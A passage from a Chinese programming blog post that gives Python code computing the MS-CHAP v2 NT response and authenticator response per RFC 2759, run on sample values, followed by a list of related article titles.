19 Challenge.update(UserName)
20 return Challenge.digest()[:8]
21 def Expand(rawkey): #expand 7Bytes to 8 Bytes
22 tmp_key = []
23 for i in rawkey[:7]:
24 tmp_key.append(i)
25 key = []
26 for i in range(8):
27 key.append(b'\x00')
28 # -------------------------
29 key[0] = tmp_key[0]
30 for i in range(1, 7):
31 key[i] = ((tmp_key[i - 1] << (8 - i)) & 0xff) | (tmp_key[i] >> i)
32 key[7] = (tmp_key[6] << 1) & 0xff
33 global b
34 for i in range(len(key)):
35 b = 1
36 for j in range(1, 8):
37 t = (key[i] >> j)
38 b = (t ^ b) & 0x1 #
39 key[i] = (key[i] & 0xfe) | b
40 ans = b''
41 for i in range(8):
42 ans += bytes([key[i]])
43 return ans
44 def ChallengeResponse(PasswordHash,Challenge):
45 zero = b'\x00'
46 while(len(PasswordHash) < 21): # important
47 PasswordHash += zero #zero-padded to 21 octets
48 res = DES.new(Expand(PasswordHash[0:7]), DES.MODE_ECB).encrypt(Challenge)
49 res += DES.new(Expand(PasswordHash[7:14]), DES.MODE_ECB).encrypt(Challenge)
50 res += DES.new(Expand(PasswordHash[14:21]), DES.MODE_ECB).encrypt(Challenge)
51 return res
52
53 def Nt_password_hash(Password):
54 PasswordHash=MD4.new(Password)
55 return PasswordHash.digest()
56
57 def Nt_password_hashhash(Passwordhash):
58 PasswordHashhash=MD4.new(Passwordhash)
59 return PasswordHashhash.digest()
60
61 def GenerateAuthenticatorResponse(password_unicode,NTResponse,PeerChalleng,AuthenticatorChallenge,UserName):
62 Magic1 =b'\x4D\x61\x67\x69\x63\x20\x73\x65\x72\x76\x65\x72\x20\x74\x6F\x20\x63\x6C\x69\x65\x6E\x74\x20\x73\x69\x67\x6E\x69\x6E\x67\x20\x63\x6F\x6E\x73\x74\x61\x6E\x74'
63 Magic2 = bytes([0x50, 0x61, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x6D, 0x61, 0x6B,0x65, 0x20, 0x69, 0x74, 0x20, 0x64, 0x6F, 0x20, 0x6D, 0x6F,0x72, 0x65, 0x20, 0x74, 0x68, 0x61, 0x6E, 0x20, 0x6F, 0x6E,0x65, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F,0x6E])
64 Passwordhash=Nt_password_hash(password_unicode)
65 PasswordHashhash=Nt_password_hashhash(Passwordhash)
66 Context=SHA.new()
67 Context.update(PasswordHashhash)
68 Context.update(NTResponse)
69 Context.update(Magic1)
70 aa=Context.digest()
71 Challenge=ChallengeHash(PeerChalleng,AuthenticatorChallenge,UserName)
72 Context=SHA.new()
73 Context.update(aa)
74 Context.update(Challenge)
75 Context.update(Magic2)
76 aa=Context.digest()
77 return b'S=' + binascii.hexlify(aa)[:40]
78 def print_hex(s):
79 for i in s:
80 print('\%#x' % i, end='')
81 print('')
82
83
84 if __name__ == "__main__":
85
86 UserName = 'WA_042'.encode("utf8")
87 password = '123456'.encode("utf8")
88 AuthenticatorChallenge = b'\x11\xD8\x2A\x82\x0F\xBE\xB0\x30\x73\xB1\xF7\x03\x73\x22\x26\xBF'
89 PeerChalleng = b'\xC1\xD4\x43\x9D\xBD\x65\xA2\x74\xB9\x7A\xF0\x3F\x98\x00\x6D\x75'
90 password_unicode = b''
91 for ch in password:
92 password_unicode += bytes([ch])
93 password_unicode +=b'\x00'
94 NTResponse=GenerateNTResponse(AuthenticatorChallenge, PeerChalleng, UserName, password_unicode)
95 PasswordHashhash = Nt_password_hashhash(Nt_password_hash(password_unicode))
96 AuthenticatorResponse=GenerateAuthenticatorResponse(password_unicode,NTResponse,PeerChalleng,AuthenticatorChallenge,UserName)
97 print("用户名:",UserName)
98 print("密码:",password)
99 print("挑战响应值:")
100 print_hex(NTResponse)
101 print("AuthenticatorResponse: ",AuthenticatorResponse)

全网首一份!你最需要的PPTP MS-CHAP V2 挑战响应编程模拟计算教程!代码基于RFC2759,附全部源码!的更多相关文章

  1. 有道云笔记 - Markdown模板(文首附markdown源码,即.md文件)

    有道云笔记 - Markdown模板 附 本文的Markdown源码镜像: https://github.com/yanglr/AlgoSolutions/blob/master/Youdao_Not ...

  2. 可能是全网首个支持阿里云Elasticsearch Xapck鉴权的Skywalking

    可能是全网首个支持阿里云Elasticsearch Xapck鉴权的Skywalking 对Skywalking有兴趣的同学参见:年轻人的第一个APM-Skywalking 之前在搭建Skywalki ...

  3. [s905l3]性价比神机mgv3000全网首拆,刷armbian实现更多价值!

    最近花55淘了一台mgv3000,s905l3,2+16G带蓝牙,真的性价比没得说 S905L3 工艺28nm差于s905l3a 主频1.9Ghz,超频可以达到2Ghz,GPU是Mail450,当服务 ...

  4. 全网最详细的ReentrantReadWriteLock源码剖析(万字长文)

    碎碎念) 花了两天时间,终于把ReentrantReadWriteLock(读写锁)解析做完了.之前钻研过AQS(AbstractQueuedSynchronizer)的源码,弄懂读写锁也没有想象中那 ...

  5. 全网最详细的AbstractQueuedSynchronizer(AQS)源码剖析(一)AQS基础

    AbstractQueuedSynchronizer(以下简称AQS)的内容确实有点多,博主考虑再三,还是决定把它拆成三期.原因有三,一是放入同一篇博客势必影响阅读体验,而是为了表达对这个伟大基础并发 ...

  6. 全网最详细的AbstractQueuedSynchronizer(AQS)源码剖析(二)资源的获取和释放

    上期的<全网最详细的AbstractQueuedSynchronizer(AQS)源码剖析(一)AQS基础>中介绍了什么是AQS,以及AQS的基本结构.有了这些概念做铺垫之后,我们就可以正 ...

  7. 移动測试技术保护源码!解码全球首款移动端白盒測试工具ThreadingTest (文章转自己主动点科技)

    作者 智晓锋 - 2014/07/14 自从斯诺登曝光美监听丑闻事件之后,我国政府就将信息安全问题上升到了国家安全的高度.基于此.国内的一家创业公司推出了智能型Android真机白盒測试以及开发辅助类 ...

  8. 业务类接口在TCP,HTTP,BLL模式下的实例 设计模式混搭 附源码一份

    业务类接口在TCP,HTTP,BLL模式下的实例 设计模式混搭 附源码一份 WinForm酒店管理软件--框架这篇随笔可以说是我写的最被大家争议的随笔,一度是支持和反对是一样的多.大家对我做的这个行业 ...

  9. Mybaits 源码解析 (六)----- 全网最详细:Select 语句的执行过程分析(上篇)(Mapper方法是如何调用到XML中的SQL的?)

    上一篇我们分析了Mapper接口代理类的生成,本篇接着分析是如何调用到XML中的SQL 我们回顾一下MapperMethod 的execute方法 public Object execute(SqlS ...

  10. Mybaits 源码解析 (八)----- 全网最详细,没有之一:结果集 ResultSet 自动映射成实体类对象(上篇)

    上一篇文章我们已经将SQL发送到了数据库,并返回了ResultSet,接下来就是将结果集 ResultSet 自动映射成实体类对象.这样使用者就无需再手动操作结果集,并将数据填充到实体类对象中.这可大 ...

随机推荐

  1. 如何通过 kubectl 进入 node shell

    概述 假设这样一个场景: 生产环境中,Node 都需要通过堡垒机登录,但是 kubectl 是可以直接在个人电脑上登录的. 这种场景下,我想要通过 kubectl 登录到 K8S 集群里的 Node, ...

  2. 重新整理 .net core 实践篇—————grpc工具[三十四]

    前言 简单整理一下grpc工具. 正文 工具核心包: Grpc.Tools 这个是项目要引用的包,用来生成cs代码的. dotnet-grpc 这个就是cli,命令行工具 dotnet-grpc 核心 ...

  3. mysql 锁机制(一)

    前言 介绍mysql 锁的机制. 正文 锁类型 读锁,是一种共享锁,s锁,允许一个事务是读取一行,阻止其他事务获取相同的数据集的排他锁. 注:排它锁的意思就是说只能加相同的锁,不能加不同的锁,比如都加 ...

  4. 树上点差分的经典应用 LuoguP3258松鼠的新家

    树上点差分的核心就是如何避免重复,即正确的运用差分数组 例如a,b点路径上点权值加1,则把a,b路径找到,并找到其LCA,此时可以把a到根,b到根这两条路径看出两条链,把每条链看出我们熟悉的 顺序差分 ...

  5. 一道SQL面试题

    表结构如下 是一张递归格式的表 使用SQL转换成如下格式 SQL实现 使用SQL转换成上图的格式 SQL代码: WITH T_Recur AS ( SELECT Id,1 num, cast(name ...

  6. 安装Visual Studio 2010 教程

    1.下载软件 方法一:关注[ 火耳软件安装 ]公众号获取软件,里面还有很多类型的其他软件 或者: 方法二:我的分享链接:https://pan.baidu.com/s/1_Ow2YR-kbnbSc6o ...

  7. 力扣591(java)-标签验证器(困难)

    题目: 给定一个表示代码片段的字符串,你需要实现一个验证器来解析这段代码,并返回它是否合法.合法的代码片段需要遵守以下的所有规则: 代码必须被合法的闭合标签包围.否则,代码是无效的. 闭合标签(不一定 ...

  8. 传统微服务框架如何无缝过渡到服务网格 ASM

    简介: 让我们一起来看下传统微服务迁移到服务网格技术栈会有哪些已知问题,以及阿里云服务网格 ASM 又是如何无缝支持 SpringCloud .Dubbo 这些服务的. 作者:宇曾   背景   软件 ...

  9. 全面升级!揭秘阿里云智能Logo设计的AI黑科技

    简介: 免费体验!阿里云智能logo设计一直致力于用AI技术,帮助更多有设计需求的朋友能"多快好省"地做logo,让"设计logo"这件有门槛的事情,通过智能工 ...

  10. 阿里云RemoteShuffleService新功能:AQE和流控

    ​简介:阿里云EMR自2020年推出Remote Shuffle Service(RSS)以来,帮助了诸多客户解决Spark作业的性能.稳定性问题,并使得存算分离架构得以实施.为了更方便大家使用和扩展 ...